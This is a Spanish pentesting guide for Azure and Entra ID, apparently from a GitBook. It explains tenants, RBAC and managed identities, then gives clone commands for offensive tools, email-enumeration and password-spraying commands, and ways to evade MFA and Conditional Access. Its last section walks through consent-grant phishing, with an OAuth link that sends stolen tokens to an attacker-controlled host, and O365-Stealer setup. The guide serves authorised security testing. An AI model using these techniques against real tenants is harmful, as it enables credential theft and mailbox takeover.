* Gestiona aplicaciones mediante *Enterprise Applications* y *App Registrations*.
* Utiliza protocolos OAuth2, OpenID Connect y SAML para autenticación y autorización.
* Expone una API llamada **Microsoft Graph** para interactuar con los recursos de identidades y Office 365.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FPklw8K6IJlYQ14PyS5ot%2Fimage.png?alt=media&amp;token=9fb1331c-e7c5-41a6-99c9-ccaad4c9ac30" alt=""><figcaption><p><a href="https://www.microsoft.com/es-es/security/business/identity-access/microsoft-entra-id">https://www.microsoft.com/es-es/security/business/identity-access/microsoft-entra-id</a></p></figcaption></figure>

<table><thead><tr><th width="186.66192626953125">Término</th><th>Definición</th></tr></thead><tbody><tr><td><strong>Tenant</strong></td><td>Instancia de Azure que representa a una organización. Es el contenedor principal que agrupa usuarios, políticas y servicios.</td></tr><tr><td><strong>Microsoft Entra ID</strong></td><td>Cada Tenant tiene un directorio dedicado (Azure Active Directory) que se usa para gestionar identidades, accesos, grupos y políticas de seguridad para los recursos asociados.</td></tr><tr><td><strong>Subscriptions (Suscripciones)</strong></td><td>Se utilizan para pagar por los servicios consumidos en Azure. Una suscripción agrupa recursos bajo un modelo de facturación común y puede tener asignadas políticas de acceso y control independientes.</td></tr><tr><td><strong>Core domain (Dominio principal)</strong></td><td>Es el dominio principal asociado al Tenant. Puede ser personalizado (como empresa.com) o usar el formato por defecto .onmicrosoft.com. Es usado para identificar usuarios y servicios.</td></tr><tr><td><strong>Resources Groups (Grupos de recursos)</strong></td><td>Contenedor lógico que agrupa múltiples recursos relacionados para facilitar su administración, implementación y control de acceso. Todos los recursos de un grupo comparten el mismo ciclo de vida.</td></tr><tr><td><strong>Resources (Recursos)</strong></td><td>Son las instancias específicas de servicios desplegados en Azure, como máquinas virtuales, bases de datos, redes virtuales o cuentas de almacenamiento. Cada recurso pertenece a un grupo de recursos.</td></tr><tr><td><strong>Azure Resource Manager (ARM)</strong></td><td>API centralizada para gestionar recursos (máquinas virtuales, almacenamiento, etc.).</td></tr><tr><td><strong>Tokens de acceso</strong></td><td>Permiten interactuar con APIs de Azure para enumerar usuarios, recursos, roles, etc.</td></tr><tr><td>Conditional Access</td><td>Políticas que controlan el acceso a los recursos según condiciones como ubicación, plataforma, app cliente, etc.</td></tr></tbody></table>

### Managed Identity

Es una **identidad gestionada automáticamente por Azure** que se puede asignar a recursos como:

* Azure VMs
* App Services
* Function Apps
* Logic Apps
* Containers (AKS, ACI)

Estas identidades permiten que los recursos se **autenticquen con otros servicios de Azure** (como Key Vault, Azure SQL, Storage, etc.) **sin almacenar credenciales en código**.

**¿Cómo funciona?**

* Al crear una Managed Identity, Azure genera automáticamente un **objeto en Entra ID** (Azure AD) de tipo *service principal*.
* Este *service principal* puede recibir **roles y permisos RBAC**, exactamente igual que un usuario humano o una app registrada.
* Cuando el recurso necesita acceder a otro servicio, Azure le proporciona un **token de acceso Entra ID**.

#### &#x20;Tipos de Managed Identity

<table><thead><tr><th width="167.77777099609375">Tipo</th><th>Descripción</th></tr></thead><tbody><tr><td><strong>System-assigned</strong></td><td>Ligada a un recurso concreto (por ejemplo, una VM o app). Se destruye con el recurso. No se puede reutilizar.</td></tr><tr><td><strong>User-assigned</strong></td><td>Identidad independiente que se puede asignar a múltiples recursos. Se gestiona por separado.</td></tr></tbody></table>

## <mark style="color:red;">Azure Resource Manager (ARM)</mark>

Es el *backend* de gestión de infraestructura como servicio.

* Se accede a través de la API de **management.azure.com**.
* Permite controlar máquinas virtuales, redes, almacenamiento, Key Vaults, etc.
* El acceso se realiza mediante **tokens ARM**, que se obtienen tras autenticación con Entra ID.

## <mark style="color:red;">Recursos y Aplicaciones</mark>

Los recursos de Azure se dividen en 4 niveles:

**Grupos de administración > Suscripciones > Grupos de recursos > Recursos**

Estos recursos están agrupados bajo "Resource Groups" y organizados en suscripciones.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FuUQdoZYLgPQCvmo0TFMX%2Fimage.png?alt=media&amp;token=a821934f-4f9c-42cd-81ed-5592950d06ec" alt="" width="345"><figcaption><p>Esquema de recursos</p></figcaption></figure>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FpNdOwVVKaEeSwcXiyDek%2Fimage.png?alt=media&amp;token=f398e598-fb04-4a42-ba47-a793af6fe032" alt=""><figcaption></figcaption></figure>

### Recursos comunes

* **Máquinas virtuales (VMs)**: Infraestructura clave en ataques para pivoteo.
* **Cuentas  de almacenamiento**: Incluyen blobs, tablas, colas (objetivo común de exfiltración).
* **Key Vaults**: Contienen secretos, claves y certificados.
* **App Services / Function Apps**: Entornos de ejecución de código web o serverless.
* **Enterprise Applications.**

## <mark style="color:red;">Roles y Accesos</mark>

### Control de acceso basado en rol (RBAC)

<https://learn.microsoft.com/es-es/azure/role-based-access-control/overview>

> El control de acceso basado en rol (Azure RBAC) ayuda a administrar quién tiene acceso a los recursos de Azure, qué pueden hacer con esos recursos y a qué áreas puede acceder.

Consta de 3 elementos: Entidad de seguridad, definición de rol y ámbito

**Una entidad de seguridad** (usuario, grupo, servicio principal, identidad administrada) de azure puede tener un [**rol**](#user-content-fn-1)[^1] (<https://azure.permissions.cloud/builtinroles>) en determinados **ámbitos** (grupos de administración, suscripciones, grupos de recursos y recursos).

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FpwRfyoBOSr2xDYyYwFQv%2Fimage.png?alt=media&amp;token=669a63d3-a38a-4c49-99a7-573b47c07306" alt="" width="563"><figcaption><p>Esquema de asignación de roles en Azure</p></figcaption></figure>

Azure usa el modelo RBAC (Role-Based Access Control) en combinación con Entra ID:

* Roles como **Owner**, **Contributor**, **Reader**, o personalizados.
* Pueden aplicarse a nivel de recurso, grupo de recursos o suscripción.
* Los roles se visualizan mediante `Get-AzRoleAssignment` o `Get-MgDirectoryRole`.

### Control de acceso basado en atributos (ABAC)

<https://learn.microsoft.com/es-es/azure/role-based-access-control/conditions-overview>

> El control de acceso basado en atributos (ABAC) es un sistema de autorización que define el acceso en función de los atributos asociados a las entidades de seguridad, los recursos y el entorno de una solicitud de acceso.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FSGlBtMp63uXfMCowl0U3%2Fimage.png?alt=media&amp;token=cc5d1c81-6b14-41c9-8138-3ce7cbfb9993" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fg79SX7Mey0WhpQ45Ih87%2Fimage.png?alt=media&amp;token=3f861d6d-b65e-411f-bb37-b7221ddcc57f" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FUhZpnBbylW3moqbaOOwM%2Fimage.png?alt=media&amp;token=2a0057a0-766e-4e73-bb0c-ed70199bcb94" alt=""><figcaption></figcaption></figure>

### Permisos por defecto de un usuario normal

* Leer todos los usuarios, aplicaciones, dispositivos, roles, suscripciones o propiedades públicas.
* Invitar invitados.
* Crear grupos de seguridad.
* Leer membresía de grupos no ocultos.
* Añadir invitados a grupos propios.
* Crear nuevas aplicaciones.
* Añadir hasta 50 dispositivos en Azure.

## <mark style="color:red;">Autenticación y Tokens</mark>

Azure opera mediante el intercambio de *tokens de acceso*:

* **Graph API Token**: Para consultar datos de usuarios, grupos, apps.
* **ARM Token**: Para administrar recursos de infraestructura.
* Se obtienen mediante autenticación estándar o *Device Code Flow* para evadir MFA.

## <mark style="color:red;">Aplicaciones Registradas y Consents</mark>

Una aplicación puede obtener permisos para actuar en nombre del usuario u organización:

* **App Registrations**: Registradas por usuarios/administradores.
* **Enterprise Applications**: Aplicaciones configuradas para uso organizacional.
* Los consentimientos (consent grants) pueden ser a nivel usuario o tenant (admin consent).

## <mark style="color:red;">Conditional Access</mark>

Políticas que restringen el acceso según:

* Ubicación geográfica.
* Tipo de dispositivo.
* Aplicación cliente (navegador, PowerShell, etc.).
* Estado del dispositivo (compliant / joined).

Estas políticas se pueden evadir mediante técnicas como:

* Abuso del *Device Authorization Flow.*
* Uso de apps no bloqueadas (como MyApps).
* Manipulación del user-agent o ubicación con proxies y *FoxyProxy.*

[^1]: Se compone de un conjunto de permisos


# Herramientas

## <mark style="color:red;">Herramientas de Microsoft</mark>

### AzureAD <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

<https://learn.microsoft.com/es-es/powershell/module/azuread/?view=azureadps-2.0>

{% content-ref url="/pages/1V7K8MW53N3XU5zCKchm" %}
[AzureAD](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/azuread)
{% endcontent-ref %}

### Az Powershell <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

<https://learn.microsoft.com/es-es/powershell/azure/new-azureps-module-az?view=azps-12.0.0>

{% content-ref url="/pages/QK2HmkujZ9HCnnFBQMHN" %}
[Az Powershell](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-powershell)
{% endcontent-ref %}

### Az Cli <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

<https://learn.microsoft.com/es-es/cli/azure/install-azure-cli>

{% content-ref url="/pages/SvLXnKt2fCINMMTcKT4W" %}
[Az Cli](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-cli)
{% endcontent-ref %}

### Microsoft Graph PowerShell <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

<https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0>

```powershell
Install-Module Microsoft.Graph -Scope CurrentUser
```

### MS Portals

<https://msportals.io/>

## <mark style="color:red;">Otras Herramientas</mark>

### ScoutSuite

<pre class="language-powershell"><code class="lang-powershell">git clone "https://github.com/nccgroup/ScoutSuite.git"
<strong>python -m venv venv
</strong>.\venv\Scripts\activate
python -m pip install -r requirements.txt
</code></pre>

### AzureRA <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

Interactúa con la REST API de Azure y MSGraph para realizar consultas usando tokens (ARM, MSGraph).

```powershell
git clone "https://github.com/xtormin/PowerPentest.git"
cd PowerPentest/Azure/AzureRA
Import-Module .\AzureRA.psm1
```

### AzureRT <a href="#microsoft-graph-powershell-overview" id="microsoft-graph-powershell-overview"></a>

<https://github.com/mgeeky/AzureRT>

```powershell
git clone "https://github.com/mgeeky/AzureRT.git"
Import-Module C:\Pentest\Tools\AzureRT\AzureRT.ps1
```

### ADDInternals

```powershell
# Clonar el repositorio e importar el módulo
git clone "https://github.com/Gerenios/AADInternals.git"
cd AADInternals
Import-Module .\AADInternals.psd1 -Verbose
```

### MicroBust

{% hint style="info" %}
*"MicroBurst incluye funciones y scripts que permiten la enumeración de servicios de Azure, la auditoría de configuraciones débiles y acciones de post-explotación como el volcado de credenciales. Está diseñado para ser utilizado durante pruebas de penetración en entornos donde se utiliza Azure."* – MicroBurst
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell"># Clonar el repositorio e importar el módulo
git clone "https://github.com/NetSPI/MicroBurst.git"
<strong>cd MicroBurst
</strong>Import-Module .\MicroBurst.psm1
</code></pre>

### MSOLSpray

```powershell
# Clonar repositorio e importar el fichero MSOLSpray.ps1
git clone "https://github.com/dafthack/MSOLSpray.git"
cd MSOLSpray
. .\MSOLSpray.ps1
```

### O365EmailValidator

<pre class="language-powershell"><code class="lang-powershell"># Clonar el repositorio e importar el fichero O365EmailValidator.ps1
<strong>git clone "https://github.com/xtormin/PowerPentest.git"
</strong>cd PowerPentest/Azure
. .\O365EmailValidator.ps1
</code></pre>

### ROADTools

> Uso: [#greater-than-roadtools](#greater-than-roadtools "mention")

```powershell
git clone "https://github.com/dirkjanm/ROADtools.git"
python -m venv venv
.\venv\Scripts\activate
```

### StormPotter

> Uso: [#stormpotter](#stormpotter "mention")

```powershell
git clone "https://github.com/Azure/Stormspotter.git"
```

* Opción 1: Docker.

```powershell
docker-compose up
```

* Opción 2: Levantar los servicios en local.

1. Backend:

```powershell
cd "C:\Pentest\Tools\stormspotter\backend\"
pipenv shell
python ssbackend.pyz
```

2. Frontend:

```powershell
cd "C:\Pentest\Tools\stormspotter\frontend\dist\spa\"
quasar.cmd serve -p 9091 --history
```

### AzureHound

<https://github.com/SpecterOps/AzureHound>

Uso: [BloodHound](/pentesting-en-infraestructuras/red-interna/active-directory/bloodhound#metodos-de-recoleccion-con-azurehound)

### Prowler

```powershell
git clone "https://github.com/prowler-cloud/prowler.git"
```

### BlobHunter

<pre class="language-powershell"><code class="lang-powershell">git clone "https://github.com/cyberark/BlobHunter.git"
<strong>python -m venv venv
</strong>.\venv\Scripts\activate
python -m pip install -r requirements.txt
</code></pre>

### PowerZure

```powershell
git clone "https://github.com/hausec/PowerZure"
Import-Module C:\Pentest\Tools\PowerZure\PowerZure.psd1
```

### CloudSploit

```powershell
git clone "https://github.com/aquasecurity/cloudsploit.git"
```

### GraphRunner

```powershell
git clone "https://github.com/dafthack/GraphRunner.git"
```

### adconnectdump

```powershell
git clone "https://github.com/dirkjanm/adconnectdump.git"
```


# Metodología de Azure Pentest

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FukS8oqzPSfTYzeXzCs84%2Fimage.png?alt=media&amp;token=c3895827-63d6-489e-af74-c472dadf0a7b" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">Reconocimiento externo</mark>

{% hint style="danger" %}
El reconocimiento externo se realiza **sin credenciales**.
{% endhint %}

Partiendo de conocer el nombre del dominio y/o email se puede enumerar:

<details>

<summary>Información del Tenant</summary>

* Si la organización utiliza o no Tenant.
* ID del Tenant.
* Nombre del Tenant.
* Tipo de autenticación (Federada o no).
* Dominios.
* Servicios de Azure utilizados por la organización.
* Enumeración de IDs de emails.

[Reconocimiento externo](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-externo#enumeracion-del-tenant)

</details>

<details>

<summary>Emails de la organización</summary>

* Enumeración con lista de emails recopilados vía OSINT.
* Enumeración con lista de posibles emails con nombres y formatos comunes.

[Reconocimiento externo](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-externo#enumeracion-de-emails)

</details>

<details>

<summary>Subdominios y servicios</summary>

Los servicios de Azure se encuentran disponibles en dominios y subdominios específicos, que pueden ser enumerados usando **Microburst**:

[Reconocimiento externo](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-externo#enumeracion-de-subdominios-y-servicios)

</details>

<details>

<summary>Aplicaciones web en Azure</summary>

Las aplicaciones web de Azure pueden ser explotadas, entre otras cosas, para:

* Enumerar posibles servicios expuestos como cuentas de almacenamiento (*Storage Accounts*).
* **\[Requiere RCE]** Obtener información sobre las variables de entorno de la identidad administrada usada por el servidor web que permite la generación de tokens para una posterior autenticación en Azure.

[Acceso inicial](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/acceso-inicial#vulnerabilidades-web)

</details>

Con la información obtenida se enumerarán los distintos recursos expuestos, como podrían ser:

* Aplicaciones empresariales *(Enterprise Apps).*
* Servicios de aplicaciones *(App Services)*.
* Aplicaciones funcionales *(Function Apps)*.
* Almacenamiento inseguro *(Insecure Storage)*.

## <mark style="color:red;">Acceso inicial</mark>

{% hint style="success" %}
Se consiguen credenciales, tokens o ejecución de código.
{% endhint %}

{% content-ref url="/pages/hYksaFgnXHzW8LQ3jdfF" %}
[Acceso inicial](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/acceso-inicial)
{% endcontent-ref %}

## <mark style="color:red;">Reconocimiento interno</mark>

### Enumeración de recursos

Una vez se obtienen credenciales podremos enumerar la distinta información accesible desde Azure según los permisos y recursos asociados al usuario.

Es posible que al intentar iniciar sesión nos encontremos con restricciones debido a la política de acceso condicional establecida para el usuario.

Se puede establecer a distintos niveles, entre otros:

* Basadas en IP.
* Restricciones a nivel de país.
* Acceso permitido vía Exchange Online, SharePoint Online, Teams y MS Graph.

Teniendo credenciales válidas, se pueden enumerar los distintos servicios de Azure:

* Computación: VMs, Kubernetes, Containers, Function Apps.
* Redes: VNet, VPN Gateway, Load Balancing, CDN.
* Almacenamiento: Blob, File, Queue, Table.
* Mobile: Back-end services.
* Databases: Cosmos DB, Managed SQL, MySQL, PostgresSQL Database.
* Web: App Service, API Management, Cognitive Search.
* Internet of Things (IoT).
* Big data.
* AI.
* DevOps.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F0Ky6F8AaOMxD7GSb3gf4%2Fimage.png?alt=media&amp;token=bce88e80-c1f5-43c4-9f0f-82fd8c07db4b" alt=""><figcaption></figcaption></figure>

Los recursos más comunes que cuentan con configuraciones inseguras son:

* Cuentas de almacenamiento (Storage Accounts).
* Vaults de claves (Key Vaults).
* Blobs.
* Cuentas de automatización (Automation Accounts).
* Historial de despliegue (Deployment History).
* ...

{% content-ref url="/pages/aW02a1QY1Cs7w4ulNGWJ" %}
[Reconocimiento interno](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno)
{% endcontent-ref %}

## Referencias

* <https://aadinternals.com/aadkillchain/>


# Reconocimiento externo

El reconocimiento externo se realiza con el objetivo de obtener información general y pública sobre el Tenant de la organización/dominio objetivo.

Alguna información puede obtenerse de forma manual al realizar una petición contra determinados recursos de Microsoft. No obstante, existen varias herramientas y *scripts* que permiten automatizar algunas acciones.

## <mark style="color:red;">Enumeración del Tenant</mark>

Conociendo un email de la organización, se podría obtener información asociada al **Tenant** donde se encuentra.

### Microsoft - getuserrealm

{% code overflow="wrap" %}

```bash
curl "https://login.microsoftonline.com/getuserrealm.srf?login=<Email corporativo>&xml=1"
```

{% endcode %}

<pre class="language-html"><code class="lang-html">&#x3C;RealmInfo Success="true">
&#x3C;State>4&#x3C;/State>
&#x3C;UserState>1&#x3C;/UserState>
<strong>&#x3C;Login>xtormin@xtormincorp.com&#x3C;/Login>
</strong>&#x3C;NameSpaceType>Managed&#x3C;/NameSpaceType>
<strong>&#x3C;DomainName>xtormincorp.com&#x3C;/DomainName>
</strong>&#x3C;IsFederatedNS>false&#x3C;/IsFederatedNS>
<strong>&#x3C;FederationBrandName>Xtormin Corp&#x3C;/FederationBrandName>
</strong>&#x3C;CloudInstanceName>microsoftonline.com&#x3C;/CloudInstanceName>
&#x3C;CloudInstanceIssuerUri>urn:federation:MicrosoftOnline&#x3C;/CloudInstanceIssuerUri>
&#x3C;/RealmInfo>
</code></pre>

### Microsoft - openid-configuration

Para obtener el ID del **Tenant** e información de *OpenID*, se puede utilizar el siguiente recurso, donde se indicará el dominio objetivo:

```bash
curl "https://login.microsoftonline.com/<dominio>/.well-known/openid-configuration"
```

* [**ADDInternals**](/pentesting-en-infraestructuras/cloud/azure/herramientas#addinternals)**:**

```powershell
# Obtener toda la información
Invoke-AADIntReconAsOutsider -DomainName <dominio>
Invoke-AADIntReconAsOutsider -DomainName xtormincorp.onmicrosoft.com

# Nombre del Tenant, autenticación, nombre, etc.
Get-AADIntLoginInformation -UserName <Email corporativo>

# Obtener ID del tenant
Get-AADIntTenantID -Domain xtormincorp.onmicrosoft.com

# Obtener los dominios de los tenant
Get-AADIntTenantDomains -Domain xtormincorp.onmicrosoft.com
```

## <mark style="color:red;">Enumeración de emails</mark>

Se puede obtener una lista inicial de emails de la organización por medio de técnicas de OSINT o una lista de posibles emails.

Posteriormente, <mark style="color:red;">**si se quiere comprobar si un email existe o no en el Tenant, sin agotar intentos de inicio de sesión**</mark>, se puede usar el recurso *GetCredentialType* para ello, se realiza la siguiente petición POST indicando el email:

```
https://login.microsoftonline.com/common/GetCredentialType
```

<pre class="language-http" data-overflow="wrap"><code class="lang-http">POST /common/GetCredentialType HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Length: 76
Content-Type: application/json

{
<strong>"username":"xtormin@xtormincorp.com",
</strong>"isOtherIdpSupported":  true
}
</code></pre>

### O365EmailValidator

<https://github.com/xtormin/PowerPentest/tree/4bd914593a03128c77ed1747c14c843b3f966563/Azure>

[**O365EmailValidator**](#o365emailvalidator)**:** Si se desea **automatizar** esto, también se puede utilizar el siguiente *script* indicando la lista de *emails* que se quiera comprobar.

{% code overflow="wrap" %}

```powershell
wget "https://github.com/xtormin/PowerPentest/blob/4bd914593a03128c77ed1747c14c843b3f966563/Azure/O365EmailValidator.ps1"
```

{% endcode %}

```
. .\O365EmailValidator.ps1
```

{% code overflow="wrap" %}

```powershell
# Ejecución del script con una lista de posibles emails
Invoke-O365EmailValidator -file emails.txt -output emails_validated.txt
```

{% endcode %}

Ejemplo de `emails.txt`:

```
ejemplo01@xtormincorp.com
ejemplo02@xtormincorp.com
ejemplo03@xtormincorp.com
```

## <mark style="color:red;">Enumeración de subdominios</mark>

### MicroBurst

[**MicroBust**](#microbust)**:** <https://github.com/NetSPI/MicroBurst>

```powershell
# Enumeración de subdominios de xtormincorp.com
# Para ello se usa el nombre base "xtormincorp"
Invoke-EnumerateAzureSubDomains -Base xtormincorp -Verbose
```

## <mark style="color:red;">Enumeración de Blobs</mark>

### MicroBurst

[**MicroBust**](#microbust)**:** <https://github.com/NetSPI/MicroBurst>

```powershell
# Enumeración de blobs de xtormincorp.com
# Para ello se usa el nombre base "xtormincorp"
Invoke-EnumerateAzureBlobs -Base xtormincorp -Verbose
```


# Portales de Azure

## MS Portals

<https://msportals.io/>

### Portal de Azure

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F4anawi9qMkjtn0Lua0Rn%2Fimage.png?alt=media&amp;token=b22daaa7-255d-4131-bfad-3f720aa81441" alt=""><figcaption></figcaption></figure>

### Portal de Azure DevOps

```
https://devops.azure.com/<nombreorganización>
```


# Acceso inicial

{% hint style="success" %}
Se consiguen credenciales, tokens o ejecución de código.
{% endhint %}

Entre los posibles accesos iniciales están:

* Comprometer un recurso expuesto (por ejemplo, [una aplicación web](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/acceso-inicial/ataques-a-aplicaciones-web)) que permita obtener variables de entorno para generar *tokens*, credenciales y/o ejecución de código remoto.
* Realizar un ataque de *phishing* con el fin de obtener credenciales, tokens, acceso y subida de ficheros a One Drive, etc. Con herramientas, como por ejemplo, [**o365-stealer**](/pentesting-en-infraestructuras/cloud/azure#greater-than-greater-than-configuracion-y-ejecucion-de-o365-stealer) o **evilginx2**. Y enviando el enlace al email de la víctima o desde un formulario de contacto.
* Realizar un [ataque de concesión de consentimiento](/pentesting-en-infraestructuras/cloud/azure#greater-than-concesiones-de-consentimiento-ilegales), que consiste en enviarle a la víctima un *phishing* con herramientas como **o365-stealer** que permitan obtener *tokens* de acceso con los permisos que se deseen.
* Realizar un ataque de [Reconocimiento externo](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-externo#password-spraying) con [MSOLSpray](https://github.com/dafthack/MSOLSpray) contra una lista de emails previamente validada con [O365EmailValidator](https://github.com/xtormin/PowerPentest/blob/main/Azure/O365EmailValidator.ps1).


# Ingeniería social

## Código de dispositivo / Device code


# Password Spraying

## <mark style="color:red;">Password Spraying</mark>

**Password spraying** es una técnica de ataque de fuerza bruta que consiste en probar una **misma contraseña común** (como *Spring2024*, *Welcome1*, *123456*) contra **muchos nombres de usuario diferentes**, en lugar de probar muchas contraseñas contra una sola cuenta.

### MSOLSpray

[**MSOLSpray**](#msolspray)**:** <https://github.com/dafthack/MSOLSpray>

```powershell
Invoke-MSOLSpray -UserList emails_validated.txt -Password <password> -Verbose
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FE0VjnW0LpckC9vijdJET%2Fimagen.png?alt=media&amp;token=a8897748-4cec-4005-859d-de1e6239601e" alt=""><figcaption><p>Enumeración de emails de usuarios</p></figcaption></figure>


# Concesiones de consentimiento ilegales

## <mark style="color:red;">Concesiones de consentimiento ilegales</mark>

[<mark style="color:purple;">https://learn.microsoft.com/es-es/security/operations/incident-response-playbook-app-consent</mark>](https://learn.microsoft.com/es-es/security/operations/incident-response-playbook-app-consent)

Se refiere al abuso del modelo de consentimiento de OAuth 2.0 para lograr acceso no autorizado a recursos dentro de una organización. Esto ocurre cuando un atacante:

1. **Crea una aplicación maliciosa o manipula una legítima**.
2. **Solicita permisos excesivos** mediante `scope` de OAuth como `Mail.Read`, `Files.ReadWrite.All`, `User.ReadBasic.All`, etc.
3. **Engaña al usuario para que otorgue el consentimiento**, a menudo a través de phishing o ingeniería social.
4. **Accede de forma persistente a recursos**, incluso después de cambiar contraseñas, gracias al *refresh token* y al consentimiento delegado.

Cuando un administrador otorga consentimiento a nivel de invitado (tenant-wide), se convierte en una *consent grant* global — si esto se hace sin revisión o para aplicaciones maliciosas, se considera una **concesión ilegal de consentimiento**.

### <mark style="color:yellow;">> Flujo de explotación</mark>

Un atacante podría usar el siguiente flujo:

1. Redirige a la víctima a una URL como:

```html
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=attacker-app-id&
response_type=code&
redirect_uri=https://attacker-controlled.com/redirect&
scope=Mail.Read&
prompt=consent
```

2. El usuario acepta los permisos.
3. El atacante obtiene el *access token* y *refresh token* y accede a los recursos de la organización.

### <mark style="color:purple;">> Prueba de concepto</mark>

Para explotar esta vulnerabilidad se requiere poder crear una aplicación de Azure controlada por el atacante. En esta se añadirán los permisos que se deseen obtener.

La información de la aplicación se incluye en la configuración de la herramienta **O365Stealer**, que creará un enlace de *phishing* y será el que se le enviará a la víctima.

{% hint style="info" %}
Usando [AzureAD Preview](#azureadpreview) se puede obtener la configuración del consentimiento de los usuarios a las aplicaciones:

{% code overflow="wrap" %}

```powershell
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
```

{% endcode %}
{% endhint %}

#### <mark style="color:purple;">>> Creación de una aplicación</mark>

1. Modificar o registrar una nueva aplicación.
2. Asignarle, por ejemplo los siguientes permisos:

```
files.readwrite.all
mail.read
mail.send
mailboxsettings.readwrite
notes.read.all
user.read
user.readbasic.all
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FLsZaLieZCHlFQ4tMWOjf%2Fimage.png?alt=media&amp;token=7255fcd6-253d-4078-b826-629366e4ea7c" alt=""><figcaption><p>Permisos asignados a la aplicación</p></figcaption></figure>

#### <mark style="color:purple;">>> Configuración y ejecución de O365-Stealer</mark>

Se añade, por ejemplo, a un servidor xampp la carpeta de o365-stealer y se ejecuta el servidor:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FT36AGSArfODjKu2Syx98%2Fimage.png?alt=media&amp;token=a4adc43b-2b2f-4266-9945-01216fb90380" alt=""><figcaption></figcaption></figure>

1. Se configura la herramienta con los valores del Client ID, Client Secret y URL de la aplicación registrada.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FBmsq0ydzwyPbvxu8FvO6%2Fimage.png?alt=media&amp;token=f8b8c2ab-95f9-4743-9e1a-8082d1bcad0d" alt=""><figcaption><p>Configuración</p></figcaption></figure>

Desde el panel de Azure, la información necesaria para la configuración se obtiene desde los siguientes apartados/secciones:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FBb7vWw3gok1E7DhrIYVi%2Fimage.png?alt=media&amp;token=7ac10524-fffb-40f3-83d9-a91619584546" alt=""><figcaption><p>Búsqueda de valores de la configuración</p></figcaption></figure>

2\. Ejecución de la herramienta:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FWXzXk0TQYcRO9QsN3jEq%2Fimage.png?alt=media&amp;token=754b5246-f16f-4741-8338-d0c2a84371b6" alt=""><figcaption><p>Ejecución de O365-Stealer</p></figcaption></figure>

